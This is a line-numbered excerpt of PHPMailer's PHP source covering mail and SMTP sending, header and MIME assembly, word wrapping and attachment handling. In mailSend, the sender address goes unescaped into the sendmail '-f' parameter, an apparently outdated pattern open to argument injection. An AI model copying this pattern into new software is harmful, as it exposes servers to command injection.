8974 * @access protected
8975 * @return boolean
8976 */
8977 protected function mailSend($header, $body)
8978 {
8979 $toArr = array();
8980 foreach ($this->to as $toaddr) {
8981 $toArr[] = $this->addrFormat($toaddr);
8982 }
8983 $to = implode(', ', $toArr);
8984
8985 if (empty($this->Sender)) {
8986 $params = ' ';
8987 } else {
8988 $params = sprintf('-f%s', $this->Sender);
8989 }
8990 if ($this->Sender != '' and !ini_get('safe_mode')) {
8991 $old_from = ini_get('sendmail_from');
8992 ini_set('sendmail_from', $this->Sender);
8993 }
8994 $result = false;
8995 if ($this->SingleTo && count($toArr) > 1) {
8996 foreach ($toArr as $toAddr) {
8997 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
8998 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
8999 }
9000 } else {
9001 $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
9002 $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
9003 }
9004 if (isset($old_from)) {
9005 ini_set('sendmail_from', $old_from);
9006 }
9007 if (!$result) {
9008 throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
9009 }
9010 return true;
9011 }
9012
9013 /**
9014 * Get an instance to use for SMTP operations.
9015 * Override this function to load your own SMTP implementation
9016 * @return SMTP
9017 */
9018 public function getSMTPInstance()
9019 {
9020 if (!is_object($this->smtp)) {
9021 $this->smtp = new SMTP;
9022 }
9023 return $this->smtp;
9024 }
9025
9026 /**
9027 * Send mail via SMTP.
9028 * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
9029 * Uses the PHPMailerSMTP class by default.
9030 * @see PHPMailer::getSMTPInstance() to use a different class.
9031 * @param string $header The message headers
9032 * @param string $body The message body
9033 * @throws phpmailerException
9034 * @uses SMTP
9035 * @access protected
9036 * @return boolean
9037 */
9038 protected function smtpSend($header, $body)
9039 {
9040 $bad_rcpt = array();
9041
9042 if (!$this->smtpConnect()) {
9043 throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
9044 }
9045 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
9046 if (!$this->smtp->mail($smtp_from)) {
9047 $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
9048 throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
9049 }
9050
9051 // Attempt to send to all recipients
9052 foreach ($this->to as $to) {
9053 if (!$this->smtp->recipient($to[0])) {
9054 $bad_rcpt[] = $to[0];
9055 $isSent = false;
9056 } else {
9057 $isSent = true;
9058 }
9059 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
9060 }
9061 foreach ($this->cc as $cc) {
9062 if (!$this->smtp->recipient($cc[0])) {
9063 $bad_rcpt[] = $cc[0];
9064 $isSent = false;
9065 } else {
9066 $isSent = true;
9067 }
9068 $this->doCallback($isSent, array(), array($cc[0]), array(), $this->Subject, $body, $this->From);
9069 }
9070 foreach ($this->bcc as $bcc) {
9071 if (!$this->smtp->recipient($bcc[0])) {
9072 $bad_rcpt[] = $bcc[0];
9073 $isSent = false;
9074 } else {
9075 $isSent = true;
9076 }
9077 $this->doCallback($isSent, array(), array(), array($bcc[0]), $this->Subject, $body, $this->From);
9078 }
9079
9080 // Only send the DATA command if we have viable recipients
9081 if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
9082 throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
9083 }
9084 if ($this->SMTPKeepAlive) {
9085 $this->smtp->reset();
9086 } else {
9087 $this->smtp->quit();
9088 $this->smtp->close();
9089 }
9090 if (count($bad_rcpt) > 0) { // Create error message for any bad addresses
9091 throw new phpmailerException(
9092 $this->lang('recipients_failed') . implode(', ', $bad_rcpt),
9093 self::STOP_CONTINUE
9094 );
9095 }
9096 return true;
9097 }
9098
9099 /**
9100 * Initiate a connection to an SMTP server.
9101 * Returns false if the operation failed.
9102 * @param array $options An array of options compatible with stream_context_create()
9103 * @uses SMTP
9104 * @access public
9105 * @throws phpmailerException
9106 * @return boolean
9107 */
9108 public function smtpConnect($options = array())
9109 {
9110 if (is_null($this->smtp)) {
9111 $this->smtp = $this->getSMTPInstance();
9112 }
9113
9114 // Already connected?
9115 if ($this->smtp->connected()) {
9116 return true;
9117 }
9118
9119 $this->smtp->setTimeout($this->Timeout);
9120 $this->smtp->setDebugLevel($this->SMTPDebug);
9121 $this->smtp->setDebugOutput($this->Debugoutput);
9122 $this->smtp->setVerp($this->do_verp);
9123 $hosts = explode(';', $this->Host);
9124 $lastexception = null;
9125
9126 foreach ($hosts as $hostentry) {
9127 $hostinfo = array();
9128 if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
9129 // Not a valid host entry
9130 continue;
9131 }
9132 // $hostinfo[2]: optional ssl or tls prefix
9133 // $hostinfo[3]: the hostname
9134 // $hostinfo[4]: optional port number
9135 // The host string prefix can temporarily override the current setting for SMTPSecure
9136 // If it's not specified, the default value is used
9137 $prefix = '';
9138 $tls = ($this->SMTPSecure == 'tls');
9139 if ($hostinfo[2] == 'ssl' or ($hostinfo[2] == '' and $this->SMTPSecure == 'ssl')) {
9140 $prefix = 'ssl://';
9141 $tls = false; // Can't have SSL and TLS at once
9142 } elseif ($hostinfo[2] == 'tls') {
9143 $tls = true;
9144 // tls doesn't use a prefix
9145 }
9146 $host = $hostinfo[3];
9147 $port = $this->Port;
9148 $tport = (integer)$hostinfo[4];
9149 if ($tport > 0 and $tport < 65536) {
9150 $port = $tport;
9151 }
9152 if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
9153 try {
9154 if ($this->Helo) {
9155 $hello = $this->Helo;
9156 } else {
9157 $hello = $this->serverHostname();
9158 }
9159 $this->smtp->hello($hello);
9160
9161 if ($tls) {
9162 if (!$this->smtp->startTLS()) {
9163 throw new phpmailerException($this->lang('connect_host'));
9164 }
9165 // We must resend HELO after tls negotiation
9166 $this->smtp->hello($hello);
9167 }
9168 if ($this->SMTPAuth) {
9169 if (!$this->smtp->authenticate(
9170 $this->Username,
9171 $this->Password,
9172 $this->AuthType,
9173 $this->Realm,
9174 $this->Workstation
9175 )
9176 ) {
9177 throw new phpmailerException($this->lang('authenticate'));
9178 }
9179 }
9180 return true;
9181 } catch (phpmailerException $exc) {
9182 $lastexception = $exc;
9183 // We must have connected, but then failed TLS or Auth, so close connection nicely
9184 $this->smtp->quit();
9185 }
9186 }
9187 }
9188 // If we get here, all connection attempts have failed, so close connection hard
9189 $this->smtp->close();
9190 // As we've caught all exceptions, just report whatever the last one was
9191 if ($this->exceptions and !is_null($lastexception)) {
9192 throw $lastexception;
9193 }
9194 return false;
9195 }
9196
9197 /**
9198 * Close the active SMTP session if one exists.
9199 * @return void
9200 */
9201 public function smtpClose()
9202 {
9203 if ($this->smtp !== null) {
9204 if ($this->smtp->connected()) {
9205 $this->smtp->quit();
9206 $this->smtp->close();
9207 }
9208 }
9209 }
9210
9211 /**
9212 * Set the language for error messages.
9213 * Returns false if it cannot load the language file.
9214 * The default language is English.
9215 * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
9216 * @param string $lang_path Path to the language file directory, with trailing separator (slash)
9217 * @return boolean
9218 * @access public
9219 */
9220 public function setLanguage($langcode = 'en', $lang_path = '')
9221 {
9222 // Define full set of translatable strings in English
9223 $PHPMAILER_LANG = array(
9224 'authenticate' => 'SMTP Error: Could not authenticate.',
9225 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
9226 'data_not_accepted' => 'SMTP Error: data not accepted.',
9227 'empty_message' => 'Message body empty',
9228 'encoding' => 'Unknown encoding: ',
9229 'execute' => 'Could not execute: ',
9230 'file_access' => 'Could not access file: ',
9231 'file_open' => 'File Error: Could not open file: ',
9232 'from_failed' => 'The following From address failed: ',
9233 'instantiate' => 'Could not instantiate mail function.',
9234 'invalid_address' => 'Invalid address',
9235 'mailer_not_supported' => ' mailer is not supported.',
9236 'provide_address' => 'You must provide at least one recipient email address.',
9237 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
9238 'signing' => 'Signing Error: ',
9239 'smtp_connect_failed' => 'SMTP connect() failed.',
9240 'smtp_error' => 'SMTP server error: ',
9241 'variable_set' => 'Cannot set or reset variable: '
9242 );
9243 if (empty($lang_path)) {
9244 // Calculate an absolute path so it can work if CWD is not here
9245 $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
9246 }
9247 $foundlang = true;
9248 $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
9249 if ($langcode != 'en') { // There is no English translation file
9250 // Make sure language file path is readable
9251 if (!is_readable($lang_file)) {
9252 $foundlang = false;
9253 } else {
9254 // Overwrite language-specific strings.
9255 // This way we'll never have missing translations.
9256 $foundlang = include $lang_file;
9257 }
9258 }
9259 $this->language = $PHPMAILER_LANG;
9260 return (boolean)$foundlang; // Returns false if language not found
9261 }
9262
9263 /**
9264 * Get the array of strings for the current language.
9265 * @return array
9266 */
9267 public function getTranslations()
9268 {
9269 return $this->language;
9270 }
9271
9272 /**
9273 * Create recipient headers.
9274 * @access public
9275 * @param string $type
9276 * @param array $addr An array of recipient,
9277 * where each recipient is a 2-element indexed array with element 0 containing an address
9278 * and element 1 containing a name, like:
9279 * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
9280 * @return string
9281 */
9282 public function addrAppend($type, $addr)
9283 {
9284 $addresses = array();
9285 foreach ($addr as $address) {
9286 $addresses[] = $this->addrFormat($address);
9287 }
9288 return $type . ': ' . implode(', ', $addresses) . $this->LE;
9289 }
9290
9291 /**
9292 * Format an address for use in a message header.
9293 * @access public
9294 * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
9295 * like array('joe@example.com', 'Joe User')
9296 * @return string
9297 */
9298 public function addrFormat($addr)
9299 {
9300 if (empty($addr[1])) { // No name provided
9301 return $this->secureHeader($addr[0]);
9302 } else {
9303 return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
9304 $addr[0]
9305 ) . '>';
9306 }
9307 }
9308
9309 /**
9310 * Word-wrap message.
9311 * For use with mailers that do not automatically perform wrapping
9312 * and for quoted-printable encoded messages.
9313 * Original written by philippe.
9314 * @param string $message The message to wrap
9315 * @param integer $length The line length to wrap to
9316 * @param boolean $qp_mode Whether to run in Quoted-Printable mode
9317 * @access public
9318 * @return string
9319 */
9320 public function wrapText($message, $length, $qp_mode = false)
9321 {
9322 $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
9323 // If utf-8 encoding is used, we will need to make sure we don't
9324 // split multibyte characters when we wrap
9325 $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
9326 $lelen = strlen($this->LE);
9327 $crlflen = strlen(self::CRLF);
9328
9329 $message = $this->fixEOL($message);
9330 if (substr($message, -$lelen) == $this->LE) {
9331 $message = substr($message, 0, -$lelen);
9332 }
9333
9334 $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE
9335 $message = '';
9336 for ($i = 0; $i < count($line); $i++) {
9337 $line_part = explode(' ', $line[$i]);
9338 $buf = '';
9339 for ($e = 0; $e < count($line_part); $e++) {
9340 $word = $line_part[$e];
9341 if ($qp_mode and (strlen($word) > $length)) {
9342 $space_left = $length - strlen($buf) - $crlflen;
9343 if ($e != 0) {
9344 if ($space_left > 20) {
9345 $len = $space_left;
9346 if ($is_utf8) {
9347 $len = $this->utf8CharBoundary($word, $len);
9348 } elseif (substr($word, $len - 1, 1) == '=') {
9349 $len--;
9350 } elseif (substr($word, $len - 2, 1) == '=') {
9351 $len -= 2;
9352 }
9353 $part = substr($word, 0, $len);
9354 $word = substr($word, $len);
9355 $buf .= ' ' . $part;
9356 $message .= $buf . sprintf('=%s', self::CRLF);
9357 } else {
9358 $message .= $buf . $soft_break;
9359 }
9360 $buf = '';
9361 }
9362 while (strlen($word) > 0) {
9363 if ($length <= 0) {
9364 break;
9365 }
9366 $len = $length;
9367 if ($is_utf8) {
9368 $len = $this->utf8CharBoundary($word, $len);
9369 } elseif (substr($word, $len - 1, 1) == '=') {
9370 $len--;
9371 } elseif (substr($word, $len - 2, 1) == '=') {
9372 $len -= 2;
9373 }
9374 $part = substr($word, 0, $len);
9375 $word = substr($word, $len);
9376
9377 if (strlen($word) > 0) {
9378 $message .= $part . sprintf('=%s', self::CRLF);
9379 } else {
9380 $buf = $part;
9381 }
9382 }
9383 } else {
9384 $buf_o = $buf;
9385 $buf .= ($e == 0) ? $word : (' ' . $word);
9386
9387 if (strlen($buf) > $length and $buf_o != '') {
9388 $message .= $buf_o . $soft_break;
9389 $buf = $word;
9390 }
9391 }
9392 }
9393 $message .= $buf . self::CRLF;
9394 }
9395
9396 return $message;
9397 }
9398
9399 /**
9400 * Find the last character boundary prior to $maxLength in a utf-8
9401 * quoted (printable) encoded string.
9402 * Original written by Colin Brown.
9403 * @access public
9404 * @param string $encodedText utf-8 QP text
9405 * @param integer $maxLength find last character boundary prior to this length
9406 * @return integer
9407 */
9408 public function utf8CharBoundary($encodedText, $maxLength)
9409 {
9410 $foundSplitPos = false;
9411 $lookBack = 3;
9412 while (!$foundSplitPos) {
9413 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
9414 $encodedCharPos = strpos($lastChunk, '=');
9415 if (false !== $encodedCharPos) {
9416 // Found start of encoded character byte within $lookBack block.
9417 // Check the encoded byte value (the 2 chars after the '=')
9418 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
9419 $dec = hexdec($hex);
9420 if ($dec < 128) { // Single byte character.
9421 // If the encoded char was found at pos 0, it will fit
9422 // otherwise reduce maxLength to start of the encoded char
9423 $maxLength = ($encodedCharPos == 0) ? $maxLength :
9424 $maxLength - ($lookBack - $encodedCharPos);
9425 $foundSplitPos = true;
9426 } elseif ($dec >= 192) { // First byte of a multi byte character
9427 // Reduce maxLength to split at start of character
9428 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
9429 $foundSplitPos = true;
9430 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
9431 $lookBack += 3;
9432 }
9433 } else {
9434 // No encoded character found
9435 $foundSplitPos = true;
9436 }
9437 }
9438 return $maxLength;
9439 }
9440
9441 /**
9442 * Set the body wrapping.
9443 * @access public
9444 * @return void
9445 */
9446 public function setWordWrap()
9447 {
9448 if ($this->WordWrap < 1) {
9449 return;
9450 }
9451
9452 switch ($this->message_type) {
9453 case 'alt':
9454 case 'alt_inline':
9455 case 'alt_attach':
9456 case 'alt_inline_attach':
9457 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
9458 break;
9459 default:
9460 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
9461 break;
9462 }
9463 }
9464
9465 /**
9466 * Assemble message headers.
9467 * @access public
9468 * @return string The assembled headers
9469 */
9470 public function createHeader()
9471 {
9472 $result = '';
9473
9474 // Set the boundaries
9475 $uniq_id = md5(uniqid(time()));
9476 $this->boundary[1] = 'b1_' . $uniq_id;
9477 $this->boundary[2] = 'b2_' . $uniq_id;
9478 $this->boundary[3] = 'b3_' . $uniq_id;
9479
9480 if ($this->MessageDate == '') {
9481 $this->MessageDate = self::rfcDate();
9482 }
9483 $result .= $this->headerLine('Date', $this->MessageDate);
9484
9485
9486 // To be created automatically by mail()
9487 if ($this->SingleTo) {
9488 if ($this->Mailer != 'mail') {
9489 foreach ($this->to as $toaddr) {
9490 $this->SingleToArray[] = $this->addrFormat($toaddr);
9491 }
9492 }
9493 } else {
9494 if (count($this->to) > 0) {
9495 if ($this->Mailer != 'mail') {
9496 $result .= $this->addrAppend('To', $this->to);
9497 }
9498 } elseif (count($this->cc) == 0) {
9499 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
9500 }
9501 }
9502
9503 $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
9504
9505 // sendmail and mail() extract Cc from the header before sending
9506 if (count($this->cc) > 0) {
9507 $result .= $this->addrAppend('Cc', $this->cc);
9508 }
9509
9510 // sendmail and mail() extract Bcc from the header before sending
9511 if ((
9512 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
9513 )
9514 and count($this->bcc) > 0
9515 ) {
9516 $result .= $this->addrAppend('Bcc', $this->bcc);
9517 }
9518
9519 if (count($this->ReplyTo) > 0) {
9520 $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
9521 }
9522
9523 // mail() sets the subject itself
9524 if ($this->Mailer != 'mail') {
9525 $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
9526 }
9527
9528 if ($this->MessageID != '') {
9529 $this->lastMessageID = $this->MessageID;
9530 } else {
9531 $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
9532 }
9533 $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
9534 $result .= $this->headerLine('X-Priority', $this->Priority);
9535 if ($this->XMailer == '') {
9536 $result .= $this->headerLine(
9537 'X-Mailer',
9538 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer/)'
9539 );
9540 } else {
9541 $myXmailer = trim($this->XMailer);
9542 if ($myXmailer) {
9543 $result .= $this->headerLine('X-Mailer', $myXmailer);
9544 }
9545 }
9546
9547 if ($this->ConfirmReadingTo != '') {
9548 $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
9549 }
9550
9551 // Add custom headers
9552 for ($index = 0; $index < count($this->CustomHeader); $index++) {
9553 $result .= $this->headerLine(
9554 trim($this->CustomHeader[$index][0]),
9555 $this->encodeHeader(trim($this->CustomHeader[$index][1]))
9556 );
9557 }
9558 if (!$this->sign_key_file) {
9559 $result .= $this->headerLine('MIME-Version', '1.0');
9560 $result .= $this->getMailMIME();
9561 }
9562
9563 return $result;
9564 }
9565
9566 /**
9567 * Get the message MIME type headers.
9568 * @access public
9569 * @return string
9570 */
9571 public function getMailMIME()
9572 {
9573 $result = '';
9574 $ismultipart = true;
9575 switch ($this->message_type) {
9576 case 'inline':
9577 $result .= $this->headerLine('Content-Type', 'multipart/related;');
9578 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
9579 break;
9580 case 'attach':
9581 case 'inline_attach':
9582 case 'alt_attach':
9583 case 'alt_inline_attach':
9584 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
9585 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
9586 break;
9587 case 'alt':
9588 case 'alt_inline':
9589 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
9590 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
9591 break;
9592 default:
9593 // Catches case 'plain': and case '':
9594 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
9595 $ismultipart = false;
9596 break;
9597 }
9598 // RFC1341 part 5 says 7bit is assumed if not specified
9599 if ($this->Encoding != '7bit') {
9600 // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
9601 if ($ismultipart) {
9602 if ($this->Encoding == '8bit') {
9603 $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
9604 }
9605 // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
9606 } else {
9607 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
9608 }
9609 }
9610
9611 if ($this->Mailer != 'mail') {
9612 $result .= $this->LE;
9613 }
9614
9615 return $result;
9616 }
9617
9618 /**
9619 * Returns the whole MIME message.
9620 * Includes complete headers and body.
9621 * Only valid post preSend().
9622 * @see PHPMailer::preSend()
9623 * @access public
9624 * @return string
9625 */
9626 public function getSentMIMEMessage()
9627 {
9628 return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
9629 }
9630
9631
9632 /**
9633 * Assemble the message body.
9634 * Returns an empty string on failure.
9635 * @access public
9636 * @throws phpmailerException
9637 * @return string The assembled message body
9638 */
9639 public function createBody()
9640 {
9641 $body = '';
9642
9643 if ($this->sign_key_file) {
9644 $body .= $this->getMailMIME() . $this->LE;
9645 }
9646
9647 $this->setWordWrap();
9648
9649 $bodyEncoding = $this->Encoding;
9650 $bodyCharSet = $this->CharSet;
9651 if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
9652 $bodyEncoding = '7bit';
9653 $bodyCharSet = 'us-ascii';
9654 }
9655 $altBodyEncoding = $this->Encoding;
9656 $altBodyCharSet = $this->CharSet;
9657 if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
9658 $altBodyEncoding = '7bit';
9659 $altBodyCharSet = 'us-ascii';
9660 }
9661 switch ($this->message_type) {
9662 case 'inline':
9663 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
9664 $body .= $this->encodeString($this->Body, $bodyEncoding);
9665 $body .= $this->LE . $this->LE;
9666 $body .= $this->attachAll('inline', $this->boundary[1]);
9667 break;
9668 case 'attach':
9669 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
9670 $body .= $this->encodeString($this->Body, $bodyEncoding);
9671 $body .= $this->LE . $this->LE;
9672 $body .= $this->attachAll('attachment', $this->boundary[1]);
9673 break;
9674 case 'inline_attach':
9675 $body .= $this->textLine('--' . $this->boundary[1]);
9676 $body .= $this->headerLine('Content-Type', 'multipart/related;');
9677 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9678 $body .= $this->LE;
9679 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
9680 $body .= $this->encodeString($this->Body, $bodyEncoding);
9681 $body .= $this->LE . $this->LE;
9682 $body .= $this->attachAll('inline', $this->boundary[2]);
9683 $body .= $this->LE;
9684 $body .= $this->attachAll('attachment', $this->boundary[1]);
9685 break;
9686 case 'alt':
9687 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9688 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9689 $body .= $this->LE . $this->LE;
9690 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
9691 $body .= $this->encodeString($this->Body, $bodyEncoding);
9692 $body .= $this->LE . $this->LE;
9693 if (!empty($this->Ical)) {
9694 $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
9695 $body .= $this->encodeString($this->Ical, $this->Encoding);
9696 $body .= $this->LE . $this->LE;
9697 }
9698 $body .= $this->endBoundary($this->boundary[1]);
9699 break;
9700 case 'alt_inline':
9701 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9702 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9703 $body .= $this->LE . $this->LE;
9704 $body .= $this->textLine('--' . $this->boundary[1]);
9705 $body .= $this->headerLine('Content-Type', 'multipart/related;');
9706 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9707 $body .= $this->LE;
9708 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
9709 $body .= $this->encodeString($this->Body, $bodyEncoding);
9710 $body .= $this->LE . $this->LE;
9711 $body .= $this->attachAll('inline', $this->boundary[2]);
9712 $body .= $this->LE;
9713 $body .= $this->endBoundary($this->boundary[1]);
9714 break;
9715 case 'alt_attach':
9716 $body .= $this->textLine('--' . $this->boundary[1]);
9717 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
9718 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9719 $body .= $this->LE;
9720 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9721 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9722 $body .= $this->LE . $this->LE;
9723 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
9724 $body .= $this->encodeString($this->Body, $bodyEncoding);
9725 $body .= $this->LE . $this->LE;
9726 $body .= $this->endBoundary($this->boundary[2]);
9727 $body .= $this->LE;
9728 $body .= $this->attachAll('attachment', $this->boundary[1]);
9729 break;
9730
9731 case 'alt_inline_attach':
9732 $body .= $this->textLine('--' . $this->boundary[1]);
9733 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
9734 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9735 $body .= $this->LE;
9736 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9737 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9738 $body .= $this->LE . $this->LE;
9739 $body .= $this->textLine('--' . $this->boundary[2]);
9740 $body .= $this->headerLine('Content-Type', 'multipart/related;');
9741 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
9742 $body .= $this->LE;
9743 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
9744 $body .= $this->encodeString($this->Body, $bodyEncoding);
9745 $body .= $this->LE . $this->LE;
9746 $body .= $this->attachAll('inline', $this->boundary[3]);
9747 $body .= $this->LE;
9748 $body .= $this->endBoundary($this->boundary[2]);
9749 $body .= $this->LE;
9750 $body .= $this->attachAll('attachment', $this->boundary[1]);
9751 break;
9752 default:
9753 // catch case 'plain' and case ''
9754 $body .= $this->encodeString($this->Body, $bodyEncoding);
9755 break;
9756 }
9757
9758 if ($this->isError()) {
9759 $body = '';
9760 } elseif ($this->sign_key_file) {
9761 try {
9762 if (!defined('PKCS7_TEXT')) {
9763 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
9764 }
9765 // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
9766 $file = tempnam(sys_get_temp_dir(), 'mail');
9767 if (false === file_put_contents($file, $body)) {
9768 throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
9769 }
9770 $signed = tempnam(sys_get_temp_dir(), 'signed');
9771 if (@openssl_pkcs7_sign(
9772 $file,
9773 $signed,
9774 'file://' . realpath($this->sign_cert_file),
9775 array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
9776 null
9777 )
9778 ) {
9779 @unlink($file);
9780 $body = file_get_contents($signed);
9781 @unlink($signed);
9782 } else {
9783 @unlink($file);
9784 @unlink($signed);
9785 throw new phpmailerException($this->lang('signing') . openssl_error_string());
9786 }
9787 } catch (phpmailerException $exc) {
9788 $body = '';
9789 if ($this->exceptions) {
9790 throw $exc;
9791 }
9792 }
9793 }
9794 return $body;
9795 }
9796
9797 /**
9798 * Return the start of a message boundary.
9799 * @access protected
9800 * @param string $boundary
9801 * @param string $charSet
9802 * @param string $contentType
9803 * @param string $encoding
9804 * @return string
9805 */
9806 protected function getBoundary($boundary, $charSet, $contentType, $encoding)
9807 {
9808 $result = '';
9809 if ($charSet == '') {
9810 $charSet = $this->CharSet;
9811 }
9812 if ($contentType == '') {
9813 $contentType = $this->ContentType;
9814 }
9815 if ($encoding == '') {
9816 $encoding = $this->Encoding;
9817 }
9818 $result .= $this->textLine('--' . $boundary);
9819 $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
9820 $result .= $this->LE;
9821 // RFC1341 part 5 says 7bit is assumed if not specified
9822 if ($encoding != '7bit') {
9823 $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
9824 }
9825 $result .= $this->LE;
9826
9827 return $result;
9828 }
9829
9830 /**
9831 * Return the end of a message boundary.
9832 * @access protected
9833 * @param string $boundary
9834 * @return string
9835 */
9836 protected function endBoundary($boundary)
9837 {
9838 return $this->LE . '--' . $boundary . '--' . $this->LE;
9839 }
9840
9841 /**
9842 * Set the message type.
9843 * PHPMailer only supports some preset message types,
9844 * not arbitrary MIME structures.
9845 * @access protected
9846 * @return void
9847 */
9848 protected function setMessageType()
9849 {
9850 $type = array();
9851 if ($this->alternativeExists()) {
9852 $type[] = 'alt';
9853 }
9854 if ($this->inlineImageExists()) {
9855 $type[] = 'inline';
9856 }
9857 if ($this->attachmentExists()) {
9858 $type[] = 'attach';
9859 }
9860 $this->message_type = implode('_', $type);
9861 if ($this->message_type == '') {
9862 $this->message_type = 'plain';
9863 }
9864 }
9865
9866 /**
9867 * Format a header line.
9868 * @access public
9869 * @param string $name
9870 * @param string $value
9871 * @return string
9872 */
9873 public function headerLine($name, $value)
9874 {
9875 return $name . ': ' . $value . $this->LE;
9876 }
9877
9878 /**
9879 * Return a formatted mail line.
9880 * @access public
9881 * @param string $value
9882 * @return string
9883 */
9884 public function textLine($value)
9885 {
9886 return $value . $this->LE;
9887 }
9888
9889 /**
9890 * Add an attachment from a path on the filesystem.
9891 * Returns false if the file could not be found or read.
9892 * @param string $path Path to the attachment.
9893 * @param string $name Overrides the attachment name.
9894 * @param string $encoding File encoding (see $Encoding).
9895 * @param string $type File extension (MIME) type.
9896 * @param string $disposition Disposition to use
9897 * @throws phpmailerException
9898 * @return boolean
9899 */
9900 public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
9901 {
9902 try {
9903 if (!@is_file($path)) {
9904 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
9905 }
9906
9907 // If a MIME type is not specified, try to work it out from the file name
9908 if ($type == '') {
9909 $type = self::filenameToType($path);
9910 }
9911
9912 $filename = basename($path);
9913 if ($name == '') {
9914 $name = $filename;
9915 }
9916
9917 $this->attachment[] = array(
9918 0 => $path,
9919 1 => $filename,
9920 2 => $name,
9921 3 => $encoding,
